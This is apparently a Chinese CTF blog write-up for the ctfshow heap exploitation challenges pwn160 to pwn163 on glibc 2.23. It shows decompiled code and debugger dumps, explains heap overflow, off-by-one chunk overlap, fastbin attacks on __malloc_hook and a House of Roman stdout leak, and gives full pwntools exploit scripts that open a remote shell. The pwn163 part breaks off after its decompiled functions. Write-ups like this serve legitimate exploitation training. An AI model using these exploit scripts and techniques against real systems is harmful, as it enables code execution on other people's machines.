堆利用pwn160-(持续更新中)

pwn160

Hint : Heap_Overflow ~

2.23的堆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
void __cdecl __noreturn main(int a1)
{
int v1; // [esp+2h] [ebp-14h] BYREF
int v2[4]; // [esp+6h] [ebp-10h] BYREF

v2[2] = &a1;
v2[1] = __readgsdword(0x14u);
init();
logo();
while ( 1 )
{
menu();
if ( __isoc99_scanf("%d", &v1) == -1 )
break;
if ( !v1 )
{
printf("size of description: ");
__isoc99_scanf("%u%c", v2);
add_user(v2[0]);
}
if ( v1 == 1 )
{
printf("index: ");
__isoc99_scanf("%d", v2);
delete_user(LOBYTE(v2[0]));
}
if ( v1 == 2 )
{
printf("index: ");
__isoc99_scanf("%d", v2);
display_user(LOBYTE(v2[0]));
}
if ( v1 == 3 )
{
printf("index: ");
__isoc99_scanf("%d", v2);
get_content(LOBYTE(v2[0]));
}
if ( v1 == 4 )
{
puts("Bye");
exit(0);
}
if ( user_count > 0x31u )
{
puts("MAX,see you~");
exit(0);
}
}
exit(1);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
_DWORD *__cdecl add_user(size_t a1)
{
_DWORD *result; // eax
void *s; // [esp+14h] [ebp-14h]
_DWORD *v3; // [esp+18h] [ebp-10h]
unsigned int v4; // [esp+1Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
s = malloc(a1);
memset(s, 0, a1);
v3 = malloc(0x80u);
memset(v3, 0, 0x80u);
*v3 = s;
heaparray[user_count] = v3;
printf("name: ");
get_input(heaparray[user_count] + 4, 124);
get_content(user_count++);
result = v3;
if ( __readgsdword(0x14u) != v4 )
exit666();
return result;
}

unsigned int __cdecl get_content(unsigned __int8 a1)
{
unsigned int result; // eax
int v2; // [esp+18h] [ebp-10h] BYREF
unsigned int v3; // [esp+1Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
if ( a1 < user_count && heaparray[a1] )
{
v2 = 0;
printf("text length: ");
__isoc99_scanf("%u%c", &v2);
if ( *heaparray[a1] + v2 >= (heaparray[a1] - 4) ) //检查 2
{
puts("Wtf?");
exit(1);
}
printf("text: ");
get_input(*heaparray[a1], v2 + 1);
}
result = __readgsdword(0x14u) ^ v3;
if ( result )
exit666();
return result;
}

unsigned int __cdecl get_input(char *a1, int a2)
{
unsigned int result; // eax
char *v3; // [esp+18h] [ebp-10h]
unsigned int v4; // [esp+1Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
fgets(a1, a2, stdin);
v3 = strchr(a1, 10);
if ( v3 )
*v3 = 0;
result = __readgsdword(0x14u) ^ v4;
if ( result )
exit666();
return result;
}
*descrption name
name name
name name
name

0x80堆大概长这样,0x80大小的堆前4位是descrption的指针,指向自己分配大小的堆,剩下0x7c都是name

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned int __cdecl delete_user(unsigned __int8 a1)
{
unsigned int result; // eax
unsigned int v2; // [esp+1Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
if ( a1 < user_count && heaparray[a1] )
{
free(*heaparray[a1]);
free(heaparray[a1]);
heaparray[a1] = 0;
}
result = __readgsdword(0x14u) ^ v2;
if ( result )
exit666();
return result;
}

将0x80大小的chunk的descrption指针置零了,descrption内部在分配的时候会memset 0,没有uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned int __cdecl display_user(unsigned __int8 a1)
{
unsigned int result; // eax
unsigned int v2; // [esp+1Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
if ( a1 < user_count && heaparray[a1] )
{
printf("name: %s\n", heaparray[a1] + 4);
printf("description: %s\n", *heaparray[a1]);
}
result = __readgsdword(0x14u) ^ v2;
if ( result )
exit666();
return result;
}

get_content就是update

并且由于desc堆是先分配的,所以如果我们分配0x8的desc,会这么排布:

image-20240714193408098

而get_content中的第二个检查就是检测desc到0x80堆块的距离,如果desc堆的地址+你输入的text_length(add_user中有三个要求你输入的:desc_size,text_length,desc_content(也就是text))没有到达0x80堆的地址,检测就可以通过

那么只需要让desc_chunk和对应的0x80chunk分开(中间夹几个堆),就可以造成堆溢出

比如我们创建3个堆

1
2
3
add_user(0x80, 0x80, b'bit')  # 0
add_user(0x80, 0x80, b'bit') # 1
add_user(0x8, 0x8, b'/bin/sh\x00') # 2

然后把chunk0 free掉,这样会得到一个0x80+0x80=0x110的chunk,我们再add一个0x100的chunk,将这个合并的chunk申请出来

image-20240714224528978

image-20240714224929559

分开之后就随便溢出了,将下一个chunk的0x80chunk(0x9e8b198)的desc指针改为free@got,display_user泄露libc,update修改free@got为system然后free chunk2就完了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
def add_user(size, length, text):
io.sendlineafter(b'Action: ', b'0')
io.sendlineafter(b'description: ', str(size))
io.sendlineafter(b'name: ', b'nmsl')
io.sendlineafter(b'length: ', str(length))
io.sendlineafter(b'text: ', text)


def delete_user(index):
io.sendlineafter(b'Action: ', b'1')
io.sendlineafter(b'index: ', str(index))


def display_user(index):
io.sendlineafter(b'Action: ', b'2')
io.sendlineafter(b'index: ', str(index))


def update(index, length, text):
io.sendlineafter(b'Action: ', b'3')
io.sendlineafter(b'index: ', str(index))
io.sendlineafter(b'length: ', str(length))
io.sendlineafter(b'text: ', text)


add_user(0x80, 0x80, b'bit') # 0
add_user(0x80, 0x80, b'bit') # 1
add_user(0x8, 0x8, b'/bin/sh\x00') # 2

delete_user(0)
payload = b'a' * 0x198 + p32(elf.got['printf'])
add_user(0x100, 0x19c, payload)
display_user(1)
ru(b'description: ')
free_addr = u32(r(4))
lg("free_addr")

# libc = LibcSearcher('free', free_addr)
# libc_base = free_addr - libc.dump('puts')
# system = libc_base + libc.dump('system')
# binsh = libc_base + libc.dump('str_bin_sh')

libc_base = free_addr - libc.sym['free']
lg("libc_base")
system = libc_base + libc.sym['system']
update(1, 4, p32(system))
delete_user(2)
sl(b"cat flag")

pwn161

Hint : Just do it !

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
__int64 add()
{
__int64 result; // rax
int i; // [rsp+4h] [rbp-1Ch]
unsigned int v2; // [rsp+8h] [rbp-18h]
int v3; // [rsp+8h] [rbp-18h]
void *v4; // [rsp+10h] [rbp-10h]

result = 0LL;
for ( i = 0; i <= 15; ++i )
{
result = *(&heaparray_inuse + 4 * i);
if ( !result )
{
printf("size: ");
v3 = get_read(v2);
if ( v3 > 0 )
{
if ( v3 > 0x1000 )
v3 = 0x1000;
v4 = calloc(v3, 1uLL);
if ( !v4 )
exit(-1);
*(&heaparray_inuse + 4 * i) = 1;
*(&heaparray_size + 4 * i) = v3;
heaparray_heap[2 * i] = v4;
printf("the index of ticket is %d \n", i);
}
return i;
}
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
__int64 edit()
{
int v1; // [rsp+Ch] [rbp-14h]
unsigned int v2; // [rsp+Ch] [rbp-14h]
unsigned int v3; // [rsp+10h] [rbp-10h]
unsigned int v4; // [rsp+14h] [rbp-Ch]

printf("index: ");
v2 = get_read(v1);
v3 = v2;
if ( v2 <= 0xF )
{
v2 = *(&heaparray_inuse + 4 * v2);
if ( v2 == 1 )
{
printf("size: ");
v2 = get_read(1);
v4 = stange_cmp(*(&heaparray_size + 4 * v3), v2);
if ( v2 > 0 )
{
printf("content: ");
return get_content(heaparray_heap[2 * v3], v4);
}
}
}
return v2;
}

__int64 __fastcall stange_cmp(int a1, unsigned int a2)
{
__int64 result; // rax

if ( a1 > a2 )
return a2;
if ( a2 - a1 == 10 )
LODWORD(result) = a1 + 1;
else
LODWORD(result) = a1;
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 free666()
{
int v0; // eax
int v2; // [rsp+Ch] [rbp-14h]
int v3; // [rsp+10h] [rbp-10h]
__int64 v4; // [rsp+10h] [rbp-10h]

printf("index: ");
v0 = get_read(v3);
v4 = v0;
v2 = v0;
if ( v0 <= 0xF )
{
v4 = *(&heaparray_inuse + 4 * v0);
if ( v4 == 1 )
{
*(&heaparray_inuse + 4 * v0) = 0;
*(&heaparray_size + 4 * v0) = 0;
free(heaparray_heap[2 * v0]);
heaparray_heap[2 * v2] = 0LL;
}
}
return v4;
}

思路:主要看这个stange_cmp,当edit大小比申请大小多10时多写一位,造成off_by_one,假如我们申请0x?8大小的堆,其最后8位用的是下一个堆的prev_size,这样我们可以通过off_by_one来将下一个chunk的size改大造成堆重叠,然后free下一个堆,泄露libc,fastbin attack将malloc_hook修改为

但是因为他在add的时候用heaparray_size记录了每个堆的大小,所以我们需要将我们改大的chunk free掉,再通过add伪造的大小( - 0x10) 将这个chunk再申请回来,这样能同时骗过glibc和程序
比如:我们申请0x58和0x40大小的chunk,

1
2
3
4
5
6
7
Add(0x58)  # 0
Add(0x40) # 1
Add(0x80) # 2

payload = p64(0) * 11 + p8(0x71)
Edit(0, payload, (0x58 + 0xa))
Free(1)

然后通过刚才说的方法将chunk1的size改为0x71,再free chunk1,这时会出现:

image-20240715233121658

估计是前向合并的时候有检测,学习了一下源码:https://www.cnblogs.com/ichunqiu/p/9766829.html

image-20240715233751898

他会检测上面框中pre_inuse位和这个chunk对应的inuse_bit_at_offset来完成向前合并,那么我们在上面框的位置填一个0x71,让其inuse_bit_at_offset指向top_chunk,就可以完成这个检测

1
2
3
4
5
6
7
8
9
Add(0x58)  # 0
Add(0x40) # 1
Add(0x80) # 2

payload = p64(0) * 11 + p8(0x71)
Edit(0, payload, (0x58 + 0xa))
payload = p64(0) * 3 + p64(0x71)
Edit(2, payload, len(payload))
Free(1)

image-20240715234250520

成功

接下来,我们把这个free掉的chunk申请出来,他还是会被程序记作chunk 1,然后因为calloc清零了重叠的chunk2,所以要Edit再将chunk2的头补上,不然会报错,再free chunk 2,进unsortedbin泄露出libc的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Add(0x58)  # 0
Add(0x40) # 1
Add(0x80) # 2

payload = p64(0) * 11 + p8(0x71)
Edit(0, payload, (0x58 + 0xa))
payload = p64(0) * 3 + p64(0x71)
Edit(2, payload, len(payload))
Free(1)
Add(0x60) # 1
payload = p64(0) * 9 + p8(0x91)
Edit(1, payload, len(payload))
Add(0x80) # 3 防止后向合并,位置就是上面topchunk的位置,所以不会出什么问题
Free(2)
Show(1)
ru(b"content: ")
main_arena_88 = uu64()
malloc_hook = main_arena_88 - 88 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
lg('libc_base')

我们接着利用刚刚的堆重叠,Add(0x60)再free,让chunk 2进fastbins

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
pwndbg> x/64gx 0x559f8deef000
0x559f8deef000: 0x0000000000000000 0x0000000000000061
0x559f8deef010: 0x0000000000000000 0x0000000000000000
0x559f8deef020: 0x0000000000000000 0x0000000000000000
0x559f8deef030: 0x0000000000000000 0x0000000000000000
0x559f8deef040: 0x0000000000000000 0x0000000000000000
0x559f8deef050: 0x0000000000000000 0x0000000000000000
0x559f8deef060: 0x0000000000000000 0x0000000000000071
0x559f8deef070: 0x0000000000000000 0x0000000000000000
0x559f8deef080: 0x0000000000000000 0x0000000000000000
0x559f8deef090: 0x0000000000000000 0x0000000000000000
0x559f8deef0a0: 0x0000000000000000 0x0000000000000000
0x559f8deef0b0: 0x0000000000000000 0x0000000000000091
0x559f8deef0c0: 0x00007f9619bc4b78 0x00007f9619bc4b78
0x559f8deef0d0: 0x0000000000000000 0x0000000000000071
0x559f8deef0e0: 0x0000000000000000 0x0000000000000000
0x559f8deef0f0: 0x0000000000000000 0x0000000000000000
0x559f8deef100: 0x0000000000000000 0x0000000000000000
0x559f8deef110: 0x0000000000000000 0x0000000000000000
0x559f8deef120: 0x0000000000000000 0x0000000000000000
0x559f8deef130: 0x0000000000000000 0x0000000000000000
0x559f8deef140: 0x0000000000000090 0x0000000000000090
0x559f8deef150: 0x0000000000000000 0x0000000000000000
0x559f8deef160: 0x0000000000000000 0x0000000000000000
0x559f8deef170: 0x0000000000000000 0x0000000000000000
0x559f8deef180: 0x0000000000000000 0x0000000000000000
0x559f8deef190: 0x0000000000000000 0x0000000000000000
0x559f8deef1a0: 0x0000000000000000 0x0000000000000000
0x559f8deef1b0: 0x0000000000000000 0x0000000000000000
0x559f8deef1c0: 0x0000000000000000 0x0000000000000000
0x559f8deef1d0: 0x0000000000000000 0x0000000000020e31
0x559f8deef1e0: 0x0000000000000000 0x0000000000000000
0x559f8deef1f0: 0x0000000000000000 0x0000000000000000

# Add(0x60)

pwndbg> x/64gx 0x564ab773c000
0x564ab773c000: 0x0000000000000000 0x0000000000000061 # 0
0x564ab773c010: 0x0000000000000000 0x0000000000000000
0x564ab773c020: 0x0000000000000000 0x0000000000000000
0x564ab773c030: 0x0000000000000000 0x0000000000000000
0x564ab773c040: 0x0000000000000000 0x0000000000000000
0x564ab773c050: 0x0000000000000000 0x0000000000000000
0x564ab773c060: 0x0000000000000000 0x0000000000000071 # 1
0x564ab773c070: 0x0000000000000000 0x0000000000000000
0x564ab773c080: 0x0000000000000000 0x0000000000000000
0x564ab773c090: 0x0000000000000000 0x0000000000000000
0x564ab773c0a0: 0x0000000000000000 0x0000000000000000
0x564ab773c0b0: 0x0000000000000000 0x0000000000000071 # 2
0x564ab773c0c0: 0x0000000000000000 0x0000000000000000
0x564ab773c0d0: 0x0000000000000000 0x0000000000000000 # 原来这里是0x71
0x564ab773c0e0: 0x0000000000000000 0x0000000000000000
0x564ab773c0f0: 0x0000000000000000 0x0000000000000000
0x564ab773c100: 0x0000000000000000 0x0000000000000000
0x564ab773c110: 0x0000000000000000 0x0000000000000000
0x564ab773c120: 0x0000000000000000 0x0000000000000021 # 切割出来的
0x564ab773c130: 0x00007fc7883c4b78 0x00007fc7883c4b78
0x564ab773c140: 0x0000000000000020 0x0000000000000090 # 3
0x564ab773c150: 0x0000000000000000 0x0000000000000000
0x564ab773c160: 0x0000000000000000 0x0000000000000000
0x564ab773c170: 0x0000000000000000 0x0000000000000000
0x564ab773c180: 0x0000000000000000 0x0000000000000000
0x564ab773c190: 0x0000000000000000 0x0000000000000000
0x564ab773c1a0: 0x0000000000000000 0x0000000000000000
0x564ab773c1b0: 0x0000000000000000 0x0000000000000000
0x564ab773c1c0: 0x0000000000000000 0x0000000000000000
0x564ab773c1d0: 0x0000000000000000 0x0000000000020e31
0x564ab773c1e0: 0x0000000000000000 0x0000000000000000
0x564ab773c1f0: 0x0000000000000000 0x0000000000000000

pwndbg> bins
fastbins
0x70: 0x564ab773c0b0 ◂— 0x0
unsortedbin
all: 0x560598043120 —▸ 0x00007fc7883c4b78 (main_arena+88) ◂— 0x560598043120
smallbins
empty
largebins
empty

再覆盖chunk 2的fd为malloc_hook - 0x23,malloc两次把这个fake chunk申请出来,再Edit它就可以把onegg填入

(fastbin 在分配的时候会检查 size 部分是否小于或等于最大的”fastbin”大小,将堆的指针指向malloc_hook - 0x23就能利用这里固定的0x7f来绕过检测)

但是,由于onegg都是有一定条件的,比如我本地的libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
onegg = [0x45226, 0x4527a, 0xf03a4, 0xf1247]

所以我们需要用realloc调整一下栈,让这些条件满足,我选用0x4527a,直接爆破偏移

image-20240716021230967

原理就是用上面的push压栈,众所周知push一次rsp会-8,所以在进入__realloc_hook之前,就会将栈向下挪几位,然后再进入我们填的onegg,非常幸运,本地填realloc+1一遍就出了

1
2
3
4
5
6
7
8
9
10
11
12
13
# fastbin attack
Add(0x60) # 2
Free(2)
payload = p64(0) * 9 + p64(0x71) + p64(malloc_hook - 0x23)
Edit(1, payload, len(payload))
Add(0x60) # 2
Add(0x60) # 4 -> malloc_hook - 0x23
payload = b'\x00' * 0xb + p64(onegg) # 填充 realloc_hook 为 onegg
payload += p64(realloc + 1) # 填充 malloc_hook 为 realloc
Edit(4, payload + b'\x00' * 0x10, len(payload) + 0x10)

Add(0x10)
sl(b'whoami')

远程试了下,+4就出了

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from pwn import *

io = remote("pwn.challenge.ctf.show", 28207)
context(os="linux", arch="amd64")
# context(os="linux", arch="amd64", log_level="debug")
elf = ELF('./pwn161')
# libc = ELF('/home/yukon/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6') # 不是ctfshow用的ubuntu16.04
libc = ELF('./libc/libc/64bit/libc-2.23.so') # ctfshow用的ubuntu16.04


s = lambda data: io.send(data)
sl = lambda data: io.sendline(data)
sa = lambda text, data: io.sendafter(text, data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda n: io.recv(n)
ru = lambda text: io.recvuntil(text)
rl = lambda: io.recvline()
uu32 = lambda: u32(io.recvuntil(b"\xf7")[-4:].ljust(4, b'\x00'))
uu64 = lambda: u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda: int(io.recv(10), 16)
iuu64 = lambda: int(io.recv(6), 16)
uheap = lambda: u64(io.recv(6).ljust(8, b'\x00'))
lg = lambda data: io.success('%s -> 0x%x' % (data, eval(str(data))))
ia = lambda: io.interactive()


def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


# gdb.attach(io, 'b *$rebase(0xE6A)')


def Add(size):
io.sendlineafter(b": ", b'1')
io.sendlineafter(b"size: ", str(size).encode())


def Edit(idx, content, length):
io.sendlineafter(b": ", b'2')
io.sendlineafter(b"index: ", str(idx).encode())
io.sendlineafter(b"size: ", str(length).encode())
io.sendlineafter(b"content: ", content)


def Free(idx):
io.sendlineafter(b": ", b'3')
io.sendlineafter(b"index: ", str(idx).encode())


def Show(idx):
io.sendlineafter(b": ", b'4')
io.sendlineafter(b"index: ", str(idx).encode())


Add(0x58) # 0
Add(0x40) # 1
Add(0x80) # 2

payload = p64(0) * 11 + p8(0x71)
Edit(0, payload, (0x58 + 0xa))
payload = p64(0) * 3 + p64(0x71)
Edit(2, payload, len(payload))
Free(1)
Add(0x60) # 1
payload = p64(0) * 9 + p8(0x91)
Edit(1, payload, len(payload))
Add(0x80) # 3 防止后向合并,位置就是上面 top_chunk 的位置,所以不会出什么问题
Free(2)
Show(1)
ru(b"content: ")
main_arena_88 = uu64()
malloc_hook = main_arena_88 - 88 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
system, binsh = get_sb()
realloc = libc_base + libc.sym['realloc']
onegg = libc_base + 0xf1147 # 远程
# onegg = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
# onegg = libc_base + onegg[1] # 本地
lg('libc_base')

# fastbin attack
Add(0x60) # 2
Free(2)
payload = p64(0) * 9 + p64(0x71) + p64(malloc_hook - 0x23)
Edit(1, payload, len(payload))
Add(0x60) # 2
Add(0x60) # 4 -> malloc_hook - 0x23
payload = b'\x00' * 0xb + p64(onegg) # 填充 realloc_hook 为 onegg
payload += p64(realloc + 4) # 填充 malloc_hook 为 realloc
Edit(4, payload + b'\x00' * 0x10, len(payload) + 0x10)

Add(0x10)
sl(b'whoami')

ia()
# io\.recvuntil\("(.*?)"\)
# io\.recvuntil\(b"(.*?)"\)
# ru\(b"$1"\)
# io\.sendline\(str\((.*?)\)\)
# sl\(str\($1\)\.encode\(\)\)

pwn162

Hint : Ez and not so easy ~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
int Add()
{
unsigned int size; // [rsp+0h] [rbp-20h] BYREF
unsigned int size_4; // [rsp+4h] [rbp-1Ch]
void *s; // [rsp+8h] [rbp-18h]
void *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
s = 0LL;
buf = 0LL;
size = 0;
if ( daniu_array_count > 0x13 )
return puts("Too much!!!");
s = malloc(0x28uLL);
memset(s, 0, 0x28uLL);
puts("size of the daniu's name: ");
__isoc99_scanf("%u", &size);
if ( size == -1 )
exit(-1);
if ( size <= 0x7F && size )
{
buf = malloc(size);
if ( !buf )
{
puts("Error !!");
exit(-1);
}
puts("daniu's name:");
read(0, buf, size);
*(s + 1) = buf;
puts("daniu's message:");
__isoc99_scanf("%23s", s + 16);
*s = 1;
for ( size_4 = 0; size_4 <= 0x13; ++size_4 )
{
if ( !daniu_array1[size_4] )
{
daniu_array1[size_4] = s;
break;
}
}
++daniu_array_count;
return puts("Added!");
}
else
{
puts("size error!!");
return 0;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int delete()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
if ( !daniu_array_count )
return puts("Null!");
puts("daniu's index:");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0x13 && *(&daniu_array1 + v1) )
{
**(&daniu_array1 + v1) = 0;
free(*(*(&daniu_array1 + v1) + 8LL));
return puts("Deleted!");
}
else
{
puts("index error!");
return 0;
}
}

show等价于没有,只打印个大牛

Add函数会分配两个chunk,一个大小为0x28,记作head_chunk,里面放inuse,&name_chunk,msg(msg大小为24,用的%23s读入,没有off_by_null),另一个size自己决定,记作name_chunk,里面放大牛的name

delete里面只delete了name_chunk,并且只将name的前8位置0了,head_chunk动都没动,虚假的delete

思路:因为每次分配都会有一个堆不free,所以很难做到合并,而且又没有off_by漏洞,因为他的head_chunk不free,所以我们可以一直delete,从而构造fastbin atack的double free,将所有能布置的地方都布置为0x71,然后将fastbin的fd低位覆盖为\x20,因为堆一般从低三位000开始分配,所以这样可以分配出chunk 0的head_chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Add(0x60, 14 * p64(0x71))  # 0	(index -> free前的chunk或者说分配到的chunk)
Add(0x60, 14 * p64(0x71)) # 1
Delete(0)
Delete(1)
Delete(0)
Add(0x60, b'\x20') # 2 -> 0
Add(0x60, b'\x20') # 3 -> 1
Add(0x60, b'\x20') # 4 -> 0
Add(0x60, b'\x20') # 5 -> 末两位为\x20的chunk
Delete(0)
Delete(5)
Add(0x60, p64(0) + p64(0x91)) # 6 -> 5 将chunk 0的size改为了0x90
Add(0x20, b'bbbb') # 7 -> 0
Delete(0)
Delete(5)
Delete(7)

通过这个末两位\x20的chunk就可以修改chunk 0的name_chunk的size,改为0x91后,但是因为chunk上面free过一次,所以如果再free的话他会即在fastbins里,又在unsorted bins里

按照0,5,7的顺序free,此时bins长这样:

1
2
3
4
5
6
pwndbg> bins
fastbins
0x30: 0x55b47318d260 ◂— 0x0
0x70: 0x55b47318d020 —▸ 0x55b47318d030 —▸ 0x7f8a689c4b78 (main_arena+88) ◂— 0x55b47318d030
unsortedbin
all: 0x55b47318d030 —▸ 0x7f8a689c4b78 (main_arena+88) ◂— 0x55b47318d030
1
Add(0x60, p64(0) + p64(0x71) + b'\xdd' + b'\xe5')  # 8 -> \x20 # 将chunk 0的fd修改为\xe5\xdd

wp的再下一句就看不懂了,只能看出来是将上面bins中的0x55b47318d030的fd改为了\xe5\xdd,然后就能泄露出libc,不知道到底是怎么实现的

时隔多日,意外发现这题利用的是House Of Roman这种利用手法,回来补一下payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 泄露libc
Delete(7)
Add(0x60, b'deadbeef') # 9 -> 5
Delete(7)
Add(0x60, b'a' * 0x33 + p64(0xfbad1800) + p64(0) * 3 + b'\x00', msg=b"a", recv=False)
recv_info = uu64()
libc_base = recv_info - 0x3c5600
malloc_hook = libc_base + libc.sym["__malloc_hook"]
onegg = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
onegg = libc_base + onegg[3]
lga("recv_info")
lga("libc_base")
lga("malloc_hook")
lga("onegg")

总之就是将unsortedbin里的main_arena通过爆破半字节的方式覆写到_IO_2_1_stdout_附近,再将其分配出来,将_IO_2_1_stdout_中的_IO_write_base的低位覆盖为\x00,这样下次输出的时候就会多输出一些内容,从而泄露libc,很奇妙的一种利用手法

本地通了,远程就不管了

pwn163

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void __fastcall Create(__int64 a1)
{
int i; // [rsp+10h] [rbp-10h]
int v2; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]

for ( i = 0; i <= 15; ++i )
{
if ( !*(24LL * i + a1) )
{
printf("Size: ");
v2 = get_int();
if ( v2 > 0 )
{
if ( v2 > 0x1000 )
v2 = 0x1000;
v3 = calloc(v2, 1uLL);
if ( !v3 )
exit(-1);
*(24LL * i + a1) = 1; // inuse
*(a1 + 24LL * i + 8) = v2; // size
*(a1 + 24LL * i + 16) = v3; // *heap
printf("Createed Index %d\n", i);
}
return;
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 __fastcall Edit(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = get_int();
v2 = result;
if ( result <= 0xF )
{
result = *(24LL * result + a1);
if ( result == 1 )
{
printf("Size: ");
result = get_int();
v3 = result;
if ( result > 0 )
{
printf("Content: ");
return sub_11B2(*(24LL * v2 + a1 + 16), v3);
}
}
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall Show(__int64 a1)
{
int result; // eax
int v2; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = get_int();
v2 = result;
if ( result <= 0xF )
{
result = *(24LL * result + a1);
if ( result == 1 )
{
puts("Content: ");
sub_130F(*(24LL * v2 + a1 + 16), *(24LL * v2 + a1 + 8));
return puts(byte_14F1);
}
}
return result;
}